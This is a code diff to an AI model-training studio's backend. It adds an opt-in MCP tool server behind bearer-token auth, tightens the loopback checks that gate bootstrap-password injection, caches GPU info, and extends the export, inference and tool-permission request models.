+        """True if an identical GET/2xx log fired < window ago (query string is part
+        of the identity). Non-GET/non-2xx never dedup; quiet-poll paths use the longer
+        heartbeat. Stamps only on emit, so steady polls still log."""
         if method != "GET" or not (200 <= status_code < 300):
             return False
         window_ms = _QUIET_POLL_DEDUP_MS if path in _QUIET_POLL_PATHS else _ACCESS_LOG_DEDUP_MS
@@ -129,8 +178,16 @@ class LoggingMiddleware:
             raise
         else:
             end_time = time.perf_counter()
-            if not excluded and not self._is_redundant_repeat(
-                scope["method"], path, scope.get("query_string", b""), status_code, end_time
+            if 200 <= status_code < 300 and path == _AUTH_REFRESH_PATH:
+                self._auth_refreshed = True
+            if (
+                not excluded
+                and not _is_quiet_success(
+                    scope["method"], path, status_code, not self._auth_refreshed
+                )
+                and not self._is_redundant_repeat(
+                    scope["method"], path, scope.get("query_string", b""), status_code, end_time
+                )
             ):
                 logger.info(
                     "request_completed",
diff --git a/studio/backend/main.py b/studio/backend/main.py
index 5402e5eb7b..6e16dc00ca 100644
--- a/studio/backend/main.py
+++ b/studio/backend/main.py
@@ -12,6 +12,8 @@ from pathlib import Path as _Path
 import asyncio
 from dataclasses import asdict
 
+from typing import Any, Optional
+
 # Suppress C-level dependency warnings globally
 os.environ["PYTHONWARNINGS"] = "ignore"
 
@@ -36,6 +38,10 @@ if sys.platform == "win32":
                 pass
     del _win_stream
 
+_SYSTEM_GPU_CACHE_TTL_SECONDS = 10.0
+_system_gpu_cache_lock = threading.Lock()
+_system_gpu_cache: Optional[tuple[float, dict[str, Any]]] = None
+
 # ── Windows AMD ROCm DLL injection ──────────────────────────────────────────
 # Python 3.8+ ignores PATH for extension modules; register ROCm bin dirs with
 # os.add_dll_directory() so amdhip64.dll etc. are found before any torch import.
@@ -153,6 +159,14 @@ if sys.platform == "win32":
                 _bnb_rocm_ver_final,
             )
 
+    # Setting BNB_ROCM_VERSION makes bitsandbytes log a benign override notice on
+    # import; drop only that record so real errors and mismatch warnings show.
+    if os.environ.get("BNB_ROCM_VERSION"):
+        import logging as _logging
+        _logging.getLogger("bitsandbytes.cextension").addFilter(
+            lambda _r: "environment variable detected" not in _r.getMessage()
+        )
+
 # ── WSL AMD Strix Halo (gfx1151): enable ROCDXG before any torch import ──────
 # In WSL the AMD GPU is reached via the ROCDXG bridge (librocdxg.so over
 # /dev/dxg), which HSA loads only when HSA_ENABLE_DXG_DETECTION=1 is set BEFORE
@@ -220,13 +234,13 @@ if _STUDIO_ROOT_RESOLVED != _LEGACY_STUDIO_ROOT:
 os.environ.setdefault("UNSLOTH_IS_PRESENT", "1")
 
 import hashlib
+import ipaddress
 import mimetypes
 import re as _re
 import shutil
 import warnings
 from contextlib import asynccontextmanager
 from importlib.metadata import PackageNotFoundError, version as package_version
-from typing import Optional
 from urllib.parse import urlparse
 
 
@@ -546,8 +560,12 @@ async def lifespan(app: FastAPI):
         (_time.perf_counter() - _lifespan_started) * 1000,
     )
 
+    # run_server's pre-bind gate sets suppress_bootstrap_injection when a public
+    # URL is about to serve with the default credential active: never (re)capture
+    # the bootstrap password into app.state, or the HTML would hand it out.
+    _suppress_bootstrap = getattr(app.state, "suppress_bootstrap_injection", False)
     if storage.ensure_default_admin():
-        bootstrap_pw = storage.get_bootstrap_password()
+        bootstrap_pw = None if _suppress_bootstrap else storage.get_bootstrap_password()
         app.state.bootstrap_password = bootstrap_pw
 
         bootstrap_path = storage.DB_PATH.parent / ".bootstrap_password"
@@ -558,7 +576,9 @@ async def lifespan(app: FastAPI):
         print("    Open the Studio UI to sign in and change it.")
         print("=" * 60 + "\n")
     else:
-        app.state.bootstrap_password = storage.get_bootstrap_password()
+        app.state.bootstrap_password = (
+            None if _suppress_bootstrap else storage.get_bootstrap_password()
+        )
 
     _lifespan_log.info(
         "lifespan startup completed in %.1fms",
@@ -592,6 +612,22 @@ app = FastAPI(
     lifespan = lifespan,
 )
 
+# The MCP surface is opt-in because it can start GPU jobs and write model
+# artifacts. Mount it only when explicitly enabled by the Studio process.
+if os.environ.get("UNSLOTH_STUDIO_ENABLE_MCP") == "1":
+    from fastmcp.utilities.lifespan import combine_lifespans
+
+    from mcp_server import BearerTokenMiddleware, create_studio_mcp
+
+    _studio_mcp_app = create_studio_mcp().http_app(path = "/")
+    _studio_mcp_lifespan = _studio_mcp_app.lifespan
+    _mcp_token = os.environ.get("UNSLOTH_STUDIO_MCP_TOKEN")
+    if not _mcp_token:
+        raise RuntimeError("UNSLOTH_STUDIO_MCP_TOKEN is required when MCP is enabled")
+    _studio_mcp_app = BearerTokenMiddleware(_studio_mcp_app, _mcp_token)
+    app.router.lifespan_context = combine_lifespans(lifespan, _studio_mcp_lifespan)
+    app.mount("/mcp", _studio_mcp_app)
+
 from loggers.config import LogConfig
 from loggers.handlers import LoggingMiddleware
 
@@ -732,6 +768,7 @@ _BODY_PROTECTED_PREFIXES = (
     "/api/settings",
     "/api/train",
     "/api/export",
+    "/mcp",
 )
 _DATASET_UPLOAD_PASSTHROUGH_PREFIX = "/api/datasets/upload"
 _DATA_RECIPE_UNSTRUCTURED_UPLOAD_PASSTHROUGH_PREFIX = (
@@ -1078,8 +1115,57 @@ async def shutdown_server(request: Request, current_subject: str = Depends(get_c
     return {"status": "shutting_down"}
 
 
+def _get_cached_system_gpu_info(logger) -> dict[str, Any]:
+    """Return merged GPU visibility/utilization with bounded live-probe churn."""
+    import time
+    from utils.hardware import get_backend_visible_gpu_info, get_visible_gpu_utilization
+
+    global _system_gpu_cache
+    now = time.monotonic()
+    with _system_gpu_cache_lock:
+        if _system_gpu_cache is not None:
+            cached_at, cached_gpu_info = _system_gpu_cache
+            if now - cached_at < _SYSTEM_GPU_CACHE_TTL_SECONDS:
+                return cached_gpu_info
+
+        try:
+            visibility_info = get_backend_visible_gpu_info() or {"available": False, "devices": []}
+        except Exception as e:
+            logger.debug(f"Failed to get GPU visibility info: {e}")
+            visibility_info = {"available": False, "devices": []}
+
+        try:
+            utilization_info = get_visible_gpu_utilization() or {"devices": []}
+        except Exception as e:
+            logger.debug(f"Failed to get GPU utilization info: {e}")
+            utilization_info = {"devices": []}
+
+        util_devices = {d.get("index"): d for d in utilization_info.get("devices", [])}
+        enriched_devices = []
+
+        for dev in visibility_info.get("devices", []):
+            idx = dev.get("index")
+            util = util_devices.get(idx, {})
+
+            total_vram = util.get("vram_total_gb") or dev.get("memory_total_gb") or 0
+            used_vram = util.get("vram_used_gb") or 0
+
+            enriched_dev = dict(dev)
+            enriched_dev["vram_used_gb"] = used_vram
+            enriched_dev["vram_free_gb"] = round(total_vram - used_vram, 2) if total_vram else 0
+            enriched_dev["vram_utilization_pct"] = util.get("vram_utilization_pct")
+            enriched_devices.append(enriched_dev)
+
+        gpu_info = {
+            "available": visibility_info.get("available", False),
+            "devices": enriched_devices,
+        }
+        _system_gpu_cache = (time.monotonic(), gpu_info)
+        return gpu_info
+
+
 @app.get("/api/system")
-async def get_system_info(current_subject: str = Depends(get_current_subject)):
+def get_system_info(current_subject: str = Depends(get_current_subject)):
     """Get system information.
 
     Auth-gated: the response (platform, Python/GPU, memory, ML packages) can
@@ -1088,31 +1174,84 @@ async def get_system_info(current_subject: str = Depends(get_current_subject)):
     """
     import platform
     import psutil
-    from utils.hardware import get_device
+    import os
+    import time
+    import logging
+    from utils.hardware import get_device, export_capability
     from utils.hardware.hardware import _backend_label
 
-    visibility_info = get_backend_visible_gpu_info()
-    gpu_info = {
-        "available": visibility_info["available"],
-        "devices": visibility_info["devices"],
-    }
+    logger = logging.getLogger(__name__)
+
+    gpu_info = _get_cached_system_gpu_info(logger)
 
-    # CPU & Memory
     memory = psutil.virtual_memory()
 
+    try:
+        cpu_freq = psutil.cpu_freq()
+    except Exception as e:
+        logger.debug(f"Failed to get CPU frequency: {e}")
+        cpu_freq = None
+
+    try:
+        disk = psutil.disk_usage(os.path.abspath(os.sep))
+    except Exception as e:
+        logger.debug(f"Failed to get disk usage: {e}")
+        disk = None
+
+    try:
+        current_process = psutil.Process(os.getpid())
+        process_used_mb = round(current_process.memory_info().rss / 1024**2)
+    except Exception as e:
+        logger.debug(f"Failed to get current process memory: {e}")
+        process_used_mb = 0
+
+    try:
+        boot_time = psutil.boot_time()
+    except Exception as e:
+        logger.debug(f"Failed to get boot time: {e}")
+        boot_time = None
+
+    # Read versions from metadata so a 3s poll never imports heavy ML libs (or 500s on their import errors).
+    from importlib.metadata import PackageNotFoundError, version as pkg_version
+
+    ml_packages = {}
+    for pkg in ("torch", "transformers"):
+        try:
+            ml_packages[pkg] = pkg_version(pkg)
+        except PackageNotFoundError:
+            pass
+        except Exception as e:
+            logger.debug(f"Failed to read {pkg} version: {e}")
+
     return {
         "platform": platform.platform(),
         "python_version": platform.python_version(),
-        # _backend_label so /api/system reports "rocm" (not "cuda") on AMD,
-        # matching /api/hardware and /api/gpu-visibility.
         "device_backend": _backend_label(get_device()),
-        "cpu_count": psutil.cpu_count(),
+        "cpu_count": psutil.cpu_count(logical = True),
+        "uptime_seconds": max(0, round(time.time() - boot_time)) if boot_time else None,
+        "cpu": {
+            "logical_count": psutil.cpu_count(logical = True),
+            "physical_count": psutil.cpu_count(logical = False),
+            "usage_percent": psutil.cpu_percent(interval = None),
+            "frequency_mhz": round(cpu_freq.current, 2)
+            if cpu_freq and cpu_freq.current is not None
+            else None,
+        },
         "memory": {
-            "total_gb": round(memory.total / 1e9, 2),
-            "available_gb": round(memory.available / 1e9, 2),
+            "total_gb": round(memory.total / 1024**3, 2),
+            "available_gb": round(memory.available / 1024**3, 2),
             "percent_used": memory.percent,
+            "process_used_mb": process_used_mb,
+        },
+        "disk": {
+            "total_gb": round(disk.total / 1e9, 2) if disk else 0,
+            "free_gb": round(disk.free / 1e9, 2) if disk else 0,
+            "percent_used": disk.percent if disk else 0,
         },
         "gpu": gpu_info,
+        "ml_packages": ml_packages,
+        # Export capability + torch-aware reason. See /api/system/hardware.
+        **export_capability(),
     }
 
 
@@ -1135,11 +1274,13 @@ def get_hardware_info(
     method auto-selection. Sync def (not async): hardware/detail probes can
     shell out, and FastAPI runs sync endpoints in a threadpool.
     """
-    from utils.hardware import get_gpu_summary, get_package_versions
+    from utils.hardware import get_gpu_summary, get_package_versions, export_capability
 
     body = {
         "gpu": get_gpu_summary(),
         "versions": get_package_versions(),
+        # Export capability + torch-aware reason; the Export UI grays out with the message.
+        **export_capability(),
     }
     if include_details:
         from utils.llama_cpp_update import get_installed_llama_version
@@ -1246,6 +1387,61 @@ def _canonical_origin(scheme: str, netloc: str) -> Optional[tuple[str, str, int]
     return (scheme, host, port)
 
 
+def _is_loopback_ip(host: Optional[str]) -> bool:
+    """Return whether ``host`` is a loopback IP, including IPv4-mapped IPv6."""
+    if not host or "%" in host:  # a scope id (::1%eth0) is never a plain loopback
+        return False
+    try:
+        ip = ipaddress.ip_address(host)
+    except (TypeError, ValueError):
+        return False
+    mapped = getattr(ip, "ipv4_mapped", None)
+    return ip.is_loopback or (mapped is not None and mapped.is_loopback)
+
+
+# A loopback peer carrying any of these is a proxy/tunnel relaying a remote
+# client, so the peer is the proxy, not the caller: cloudflared sets
+# cf-connecting-ip, reverse proxies set the rest (uvicorn only consumes
+# x-forwarded-for, so the others survive to here).
+_PROXIED_CLIENT_HEADERS = (
+    "cf-connecting-ip",
+    "forwarded",
+    "x-forwarded-for",
+    "x-forwarded-host",
+    "x-real-ip",
+)
+
+
+def _host_header_is_loopback(host_header: Optional[str]) -> bool:
+    """Loopback/localhost check on the raw Host header.
+
+    Reads the header directly so a malformed or absent Host cannot fall back to
+    ``request.url.hostname``'s (loopback) ASGI server address.
+    """
+    if not host_header:
+        return False
+    host = host_header.strip()
+    if host.startswith("["):  # [IPv6] or [IPv6]:port
+        end = host.find("]")
+        if end == -1 or (host[end + 1 :] and not host[end + 1 :].startswith(":")):
+            return False  # unclosed bracket or junk after ] (e.g. [::1]evil)
+        host = host[1:end]
+    elif host.count(":") == 1:  # host:port
+        host = host.split(":", 1)[0]
+    host = host.lower().rstrip(".")
+    return host == "localhost" or _is_loopback_ip(host)
+
+
+def _is_local_bootstrap_request(request: Request) -> bool:
+    """Allow bootstrap injection only through a direct loopback authority."""
+    client = request.client
+    if client is None or not _is_loopback_ip(client.host):
+        return False
+    if any(request.headers.get(h) is not None for h in _PROXIED_CLIENT_HEADERS):
+        return False
+    return _host_header_is_loopback(request.headers.get("host"))
+
+
 def _is_same_origin_request(request: Request) -> bool:
     """True when Origin is missing or matches request's scheme://host:port.
 
@@ -1281,6 +1477,17 @@ def _is_same_origin_request(request: Request) -> bool:
     return origin_canon == self_canon
 
 
+def _should_inject_bootstrap(request: Request) -> bool:
+    """Whether to embed the seeded bootstrap password in index.html."""
+    if not _is_same_origin_request(request):
+        return False
+    if _IS_COLAB:
+        # Single-user notebook proxy: allow autofill, but never a public
+        # shareable tunnel (a Colab Cloudflare link sets cf-connecting-ip).
+        return request.headers.get("cf-connecting-ip") is None
+    return _is_local_bootstrap_request(request)
+
+
 def setup_frontend(app: FastAPI, build_path: Path):
     """Mount frontend static files (optional)"""
     if not build_path.exists():
@@ -1293,8 +1500,10 @@ def setup_frontend(app: FastAPI, build_path: Path):
     def _build_index_response(request: Request) -> Response:
         content = (build_path / "index.html").read_bytes()
         content = _strip_crossorigin(content)
-        # Bootstrap pw is same-origin only; Vary: Origin keeps caches honest.
-        if _is_same_origin_request(request):
+        # Bootstrap pw goes only to a same-origin, direct-loopback client (or
+        # Colab's single-user notebook proxy): a wildcard bind must not serve it
+        # in-page to a LAN or proxied peer. Vary: Origin keeps caches honest.
+        if _should_inject_bootstrap(request):
             content, nonce = _inject_bootstrap(content, app)
         else:
             nonce = None
diff --git a/studio/backend/mcp_server.py b/studio/backend/mcp_server.py
new file mode 100644
index 0000000000..f837f46425
--- /dev/null
+++ b/studio/backend/mcp_server.py
@@ -0,0 +1,259 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Curated MCP tools for driving an Unsloth Studio instance.
+
+The MCP surface deliberately wraps the existing Studio services instead of
+duplicating training or export logic. It is opt-in because several tools can
+start GPU work or write model artifacts.
+"""
+
+from __future__ import annotations
+
+import hmac
+from typing import Any
+
+from fastmcp import FastMCP
+
+
+class BearerTokenMiddleware:
+    """Require an exact bearer token when Studio MCP is exposed remotely."""
+
+    def __init__(self, app: Any, token: str) -> None:
+        if not token or not token.strip():
+            raise ValueError("Studio MCP bearer token must be a non-empty value")
+        if not token.isascii():
+            # A non-ASCII token cannot be sent in an HTTP header; reject it here.
+            raise ValueError("Studio MCP bearer token must contain ASCII characters only")
+        self.app = app
+        # Compare on raw header bytes: str hmac.compare_digest raises on non-ASCII
+        # input, which would surface as a 500 instead of a clean 401.
+        self.expected = token.encode("utf-8")
+
+    async def __call__(self, scope: dict[str, Any], receive: Any, send: Any) -> None:
+        scope_type = scope.get("type")
+        if scope_type not in ("http", "websocket"):
+            await self.app(scope, receive, send)
+            return
+
+        headers = dict(scope.get("headers", []))
+        raw_auth = headers.get(b"authorization", b"")
+        scheme, _, supplied = raw_auth.partition(b" ")
+        if scheme.lower() != b"bearer" or not hmac.compare_digest(supplied, self.expected):
+            await _send_unauthorized(send, scope_type)
+            return
+
+        await self.app(scope, receive, send)
+
+
+async def _send_unauthorized(send: Any, scope_type: str) -> None:
+    if scope_type == "websocket":
+        await send({"type": "websocket.close", "code": 4401})
+        return
+
+    await send(
+        {
+            "type": "http.response.start",
+            "status": 401,
+            "headers": [(b"content-type", b"application/json"), (b"www-authenticate", b"Bearer")],
+        }
+    )
+    await send(
+        {
+            "type": "http.response.body",
+            "body": b'{"detail":"MCP bearer token required"}',
+        }
+    )
+
+
+def _dump(value: Any) -> Any:
+    """Convert Pydantic responses to plain JSON values for MCP clients."""
+    if hasattr(value, "model_dump"):
+        return value.model_dump(mode = "json")
+    return value
+
+
+def _clamp(value: int, low: int, high: int) -> int:
+    """Clamp an MCP-supplied integer into an inclusive range.
+
+    MCP tools call the Studio route functions directly, which skips FastAPI's
+    Query(ge=, le=) validation, so we re-apply the same bounds here.
+    """
+    return max(low, min(value, high))
+
+
+def create_studio_mcp() -> FastMCP:
+    """Create the Studio MCP server and register the high-value tools."""
+    mcp = FastMCP(
+        "Unsloth Studio",
+        instructions = (
+            "Use read tools to inspect the local Studio state before starting GPU work. "
+            "Training and export tools can consume substantial VRAM and write files. "
+            "Never expose tokens or local paths from tool results unless the user asks."
+        ),
+    )
+
+    @mcp.tool
+    async def studio_status() -> dict[str, Any]:
+        """Return the current training, export, inference, and GPU state."""
+        from routes.export import get_export_status
+        from routes.inference import get_status as get_inference_status
+        from routes.training import get_training_status
+
+        from utils.hardware import get_gpu_utilization
+
+        training, export, inference = await _gather_status(
+            get_training_status(current_subject = "mcp"),
+            get_export_status(current_subject = "mcp"),
+            get_inference_status(current_subject = "mcp"),
+        )
+        return {
+            "training": _dump(training),
+            "export": _dump(export),
+            "inference": _dump(inference),
+            "hardware": get_gpu_utilization(),
+        }
+
+    @mcp.tool
+    async def list_local_models(models_dir: str = "./models") -> dict[str, Any]:
+        """List local and cached models available to Studio."""
+        from routes.models import list_local_models as list_models
+        return _dump(await list_models(models_dir = models_dir, current_subject = "mcp"))
+
+    @mcp.tool
+    async def get_training_status() -> dict[str, Any]:
+        """Read the active training job, phase, progress, and recent metrics."""
+        from routes.training import get_training_status as get_status
+        return _dump(await get_status(current_subject = "mcp"))
+
+    @mcp.tool
+    async def start_training(config: dict[str, Any]) -> dict[str, Any]:
+        """Start a validated Studio training job from a TrainingStartRequest-shaped object.
+
+        The config is validated by the same Pydantic model used by the Studio UI.
+        Call get_training_status first and do not start work while another job runs.
+        """
+        from models import TrainingStartRequest
+        from routes.training import start_training as start
+
+        request = TrainingStartRequest.model_validate(config)
+        # Pass via_api_key explicitly (a direct call leaves it a Depends object).
+        # MCP drives Studio like the UI session, so it coexists and frees VRAM.
+        return _dump(await start(request, current_subject = "mcp", via_api_key = False))
+
+    @mcp.tool
+    async def stop_training(save: bool = True) -> dict[str, Any]:
+        """Ask the active training process to stop at its next safe checkpoint."""
+        from routes.training import TrainingStopRequest, stop_training as stop
+        return _dump(await stop(TrainingStopRequest(save = save), current_subject = "mcp"))
+
+    @mcp.tool
+    async def list_training_runs(limit: int = 50, offset: int = 0) -> dict[str, Any]:
+        """List completed and stopped training runs, newest first."""
+        from routes.training_history import list_training_runs as list_runs
+
+        # Clamp here (direct call skips Query bounds); a negative LIMIT = no limit.
+        limit = _clamp(limit, 1, 200)
+        offset = max(0, offset)
+        return _dump(await list_runs(limit = limit, offset = offset, current_subject = "mcp"))
+
+    @mcp.tool
+    def validate_recipe(recipe: dict[str, Any]) -> dict[str, Any]:
+        """Validate a Data Recipe with the same validator used by Studio."""
+        from models.data_recipe import RecipePayload
+        from routes.data_recipe.validate import validate
+
+        return _dump(validate(RecipePayload(recipe = recipe)))
+
+    @mcp.tool
+    def get_recipe_job_status(job_id: str) -> dict[str, Any]:
+        """Read the status of a Data Recipe job."""
+        from routes.data_recipe.jobs import job_status
+        return _dump(job_status(job_id))
+
+    @mcp.tool
+    def get_recipe_job_dataset(
+        job_id: str,
+        limit: int = 20,
+        offset: int = 0,
+    ) -> dict[str, Any]:
+        """Read a bounded page of generated Data Recipe rows."""
+        from routes.data_recipe.jobs import job_dataset
+
+        # Clamp here (direct call skips FastAPI's Query bounds).
+        limit = _clamp(limit, 1, 500)
+        offset = max(0, offset)
+        return _dump(job_dataset(job_id, limit = limit, offset = offset))
+
+    @mcp.tool
+    async def load_checkpoint(
+        checkpoint_path: str,
+        max_seq_length: int = 2048,
+        load_in_4bit: bool = True,
+        trust_remote_code: bool = False,
+        approved_remote_code_fingerprint: str | None = None,
+        hf_token: str | None = None,
+    ) -> dict[str, Any]:
+        """Load a checkpoint into the export backend.
+
+        Export runs in its own subprocess and coexists with training and
+        inference; it does not unload them, so a load can fail with a clear
+        out-of-memory error if the GPU is already full. Pass hf_token to load a
+        gated checkpoint, and approved_remote_code_fingerprint to retry a
+        trust_remote_code load that was blocked pending review.
+        """
+        from models import LoadCheckpointRequest
+        from routes.export import load_checkpoint as load
+
+        request = LoadCheckpointRequest(
+            checkpoint_path = checkpoint_path,
+            max_seq_length = max_seq_length,
+            load_in_4bit = load_in_4bit,
+            trust_remote_code = trust_remote_code,
+            approved_remote_code_fingerprint = approved_remote_code_fingerprint,
+            hf_token = hf_token,
+        )
+        return _dump(await load(request, current_subject = "mcp"))
+
+    @mcp.tool
+    async def export_gguf(
+        save_directory: str,
+        quantization_method: str | list[str] = "Q4_K_M",
+        push_to_hub: bool = False,
+        repo_id: str | None = None,
+        hf_token: str | None = None,
+        imatrix: bool = False,
+        imatrix_path: str | None = None,
+    ) -> dict[str, Any]:
+        """Export the loaded model to GGUF using Studio's existing path validation.
+
+        quantization_method may be a single method or a list to produce several
+        GGUFs from one load. Pass hf_token when push_to_hub is set (the backend
+        rejects a Hub upload without it). Set imatrix (or imatrix_path) for the
+        IQ low-bit quants that require an importance matrix.
+        """
+        from models import ExportGGUFRequest
+        from routes.export import export_gguf as export
+
+        request = ExportGGUFRequest(
+            save_directory = save_directory,
+            quantization_method = quantization_method,
+            push_to_hub = push_to_hub,
+            repo_id = repo_id,
+            hf_token = hf_token,
+            imatrix = imatrix,
+            imatrix_path = imatrix_path,
+        )
+        return _dump(await export(request, current_subject = "mcp"))
+
+    return mcp
+
+
+async def _gather_status(*coroutines: Any) -> tuple[Any, ...]:
+    """Gather independent status calls without letting one optional backend fail all state."""
+    import asyncio
+
+    results = await asyncio.gather(*coroutines, return_exceptions = True)
+    return tuple(
+        {"error": str(result)} if isinstance(result, Exception) else result for result in results
+    )
diff --git a/studio/backend/models/auth.py b/studio/backend/models/auth.py
index f451f8d9dd..2283aa709f 100644
--- a/studio/backend/models/auth.py
+++ b/studio/backend/models/auth.py
@@ -7,6 +7,8 @@ from typing import Optional
 
 from pydantic import BaseModel, Field
 
+from auth.storage import MIN_PASSWORD_LENGTH
+
 
 class AuthLoginRequest(BaseModel):
     """Login payload: username/password to obtain a JWT."""
@@ -45,10 +47,14 @@ class ChangePasswordRequest(BaseModel):
     """Change the current user's password, typically on first login."""
 
     current_password: str = Field(
-        ..., min_length = 8, description = "Existing password for the authenticated user"
+        ...,
+        min_length = MIN_PASSWORD_LENGTH,
+        description = "Existing password for the authenticated user",
     )
     new_password: str = Field(
-        ..., min_length = 8, description = "Replacement password (minimum 8 characters)"
+        ...,
+        min_length = MIN_PASSWORD_LENGTH,
+        description = f"Replacement password (minimum {MIN_PASSWORD_LENGTH} characters)",
     )
 
 
diff --git a/studio/backend/models/export.py b/studio/backend/models/export.py
index 7e05373f11..9dc4d9451a 100644
--- a/studio/backend/models/export.py
+++ b/studio/backend/models/export.py
@@ -6,7 +6,7 @@
 from pathlib import Path, PureWindowsPath
 
 from pydantic import BaseModel, Field, field_validator
-from typing import List, Optional, Literal, Dict, Any
+from typing import List, Optional, Literal, Dict, Any, Union
 
 
 def _validate_save_directory(value: str) -> str:
@@ -168,6 +168,15 @@ class ExportMergedModelRequest(ExportCommonOptions):
         description = "Export precision / format for the merged model. The compressed-tensors "
         "options run llm-compressor for vLLM (FP8 is data-free; NVFP4 calibrates).",
     )
+    compressed_method: Optional[str] = Field(
+        None,
+        description = "Optional quantized-export alias. Either a compressed-tensors scheme "
+        "(e.g. 'fp8', 'fp8_static', 'w8a8', 'w4a16', 'mxfp4', 'mxfp8', 'nvfp4' - NVIDIA only) "
+        "from unsloth.save COMPRESSED_EXPORT_SCHEMES, or a portable torchao alias "
+        "('torchao_fp8', 'torchao_int8') from TORCHAO_EXPORT_SCHEMES that needs no NVIDIA GPU. "
+        "When set, it overrides format_type. Lets the export UI expose the full set of formats "
+        "beyond the quick buttons.",
+    )
 
 
 class ExportBaseModelRequest(ExportCommonOptions):
@@ -189,9 +198,10 @@ class ExportGGUFRequest(BaseModel):
     def _check_save_directory(cls, v):
         return _validate_save_directory(v)
 
-    quantization_method: str = Field(
+    quantization_method: Union[str, List[str]] = Field(
         "Q4_K_M",
-        description = 'GGUF quantization method (e.g. "Q4_K_M")',
+        description = 'GGUF quantization method(s). A single method (e.g. "Q4_K_M") or a list '
+        '(e.g. ["Q4_K_M", "Q8_0"]) to produce multiple GGUFs from one model load.',
     )
     push_to_hub: bool = Field(
         False,
@@ -219,4 +229,13 @@ class ExportGGUFRequest(BaseModel):
 class ExportLoRAAdapterRequest(ExportCommonOptions):
     """Request for exporting only the LoRA adapter (not merged)."""
 
-    # Uses fields from ExportCommonOptions only
+    gguf: bool = Field(
+        False,
+        description = "If True, also convert the adapter to a GGUF LoRA file "
+        "(llama.cpp convert_lora_to_gguf.py), loadable with `llama-cli --lora ...`.",
+    )
+    gguf_outtype: Literal["q8_0", "f16", "bf16", "f32"] = Field(
+        "q8_0",
+        description = "GGUF LoRA output float type (only used when gguf=True). "
+        "Q8_0 falls back to F16 per tensor for dims not divisible by the block size (32).",
+    )
diff --git a/studio/backend/models/inference.py b/studio/backend/models/inference.py
index 4a3162b09e..3ae974448e 100644
--- a/studio/backend/models/inference.py
+++ b/studio/backend/models/inference.py
@@ -140,6 +140,27 @@ class ValidateModelRequest(BaseModel):
     )
 
 
+class TransformersUpgradeInfo(BaseModel):
+    """A model architecture no installed transformers ships, but a newer release does."""
+
+    model_type: str = Field(
+        ..., description = "config.json model_type unknown to every installed transformers"
+    )
+    pypi_version: Optional[str] = Field(
+        None, description = "Latest transformers release on PyPI at check time"
+    )
+    supported_in_pypi: bool = Field(
+        False,
+        description = "True if the latest PyPI release ships this model_type; Studio can "
+        "install it into a persistent sidecar after user consent.",
+    )
+    supported_in_main: bool = Field(
+        False,
+        description = "True if transformers GitHub main ships this model_type (dev-only; "
+        "not installable through Studio yet).",
+    )
+
+
 class ValidateModelResponse(BaseModel):
     """Result of model validation.
 
@@ -167,6 +188,48 @@ class ValidateModelResponse(BaseModel):
         description = "Native training context length, read from the GGUF header when the file "
         "is already downloaded locally; None for non-GGUF, gated, or not-yet-downloaded models.",
     )
+    # Additive fields; the consuming consent dialog ships in a follow-up frontend PR.
+    requires_transformers_upgrade: bool = Field(
+        False,
+        description = "True when the model's architecture is unknown to every installed "
+        "transformers but a newer transformers ships it; the UI should offer the "
+        "install-latest-transformers consent dialog (or the dev-only notice).",
+    )
+    transformers_upgrade: Optional[TransformersUpgradeInfo] = Field(
+        None,
+        description = "Details for the transformers-upgrade dialog; set only when "
+        "requires_transformers_upgrade is true.",
+    )
+
+
+class InstallLatestTransformersRequest(BaseModel):
+    """Consented request to install the latest transformers release into a sidecar."""
+
+    version: str = Field(
+        ...,
+        min_length = 1,
+        max_length = 64,
+        description = "Exact transformers version to install; must match the current "
+        "latest PyPI release reported by /validate.",
+    )
+
+
+class InstallLatestTransformersResponse(BaseModel):
+    """Result of the consented latest-transformers sidecar install."""
+
+    success: bool = Field(..., description = "Whether the sidecar was provisioned")
+    version: str = Field(..., description = "The requested transformers version")
+    message: str = Field(..., description = "Human-readable result")
+    model_unloaded: bool = Field(
+        False,
+        description = "Whether the active chat model was unloaded before the swap "
+        "(reported even on failure, so the client can restore its state)",
+    )
+    latest_version: Optional[str] = Field(
+        None,
+        description = "On a version-mismatch failure: the release that superseded "
+        "the requested one, so the client can retry with it",
+    )
 
 
 class GenerateRequest(BaseModel):
@@ -177,6 +240,7 @@ class GenerateRequest(BaseModel):
     temperature: float = Field(0.6, ge = 0.0, le = 2.0, description = "Sampling temperature")
     top_p: float = Field(0.95, ge = 0.0, le = 1.0, description = "Top-p sampling")
     top_k: int = Field(20, ge = -1, le = 100, description = "Top-k sampling")
+    min_p: float = Field(0.0, ge = 0.0, le = 1.0, description = "Min-p sampling")
     max_new_tokens: int = Field(2048, ge = 1, le = 4096, description = "Maximum tokens to generate")
     repetition_penalty: float = Field(1.0, ge = 1.0, le = 2.0, description = "Repetition penalty")
     presence_penalty: float = Field(0.0, ge = 0.0, le = 2.0, description = "Presence penalty")
@@ -631,6 +695,23 @@ class ThinkingConfig(BaseModel):
     type: Literal["disabled", "enabled"] = "disabled"
 
 
+# Recognized permission_mode values. The field accepts a plain string rather than
+# a Literal so an unrecognized value from a newer UI/client degrades to the
+# safest gate ("ask") instead of a 422; the tool loops apply the same unknown ->
+# ask fallback, so normalizing here keeps that forward-compat path reachable at
+# the API boundary. None stays unset ("behaves as 'ask'" without self-enabling
+# the confirm gate).
+_KNOWN_PERMISSION_MODES = ("ask", "auto", "off", "full")
+
+
+def _normalize_permission_mode(value: Any) -> Any:
+    if value is None:
+        return None
+    if value not in _KNOWN_PERMISSION_MODES:
+        return "ask"
+    return value
+
+
 class ChatCompletionRequest(BaseModel):
     """OpenAI-compatible chat completion request.
 
@@ -776,10 +857,33 @@ class ChatCompletionRequest(BaseModel):
         False,
         description = "[x-unsloth] Bypass Permissions: when true, skip the tool-call confirmation gate AND disable the python/terminal execution sandbox (safety checks, command blocklist, resource limits). Secret env vars are still stripped. Takes precedence over confirm_tool_calls.",
     )
+    permission_mode: Optional[str] = Field(
+        None,
+        description = (
+            "[x-unsloth] Permission level for local tool calls. 'ask' pauses every "
+            "call for approval; 'ask'/'auto' enable the confirmation gate on their "
+            "own (needs a streaming request to deliver prompts). 'auto' ('Approve for "
+            "me') only pauses calls detected as potentially unsafe (state-mutating "
+            "terminal/python/MCP calls); read-only calls run immediately, and the "
+            "sandbox stays on. 'full' is equivalent to bypass_permissions=true (no "
+            "confirmation, no sandbox). Unset behaves as 'ask'. An unrecognized value "
+            "(e.g. from a newer client) is treated as 'ask'."
+        ),
+    )
     auto_heal_tool_calls: Optional[bool] = Field(
         True,
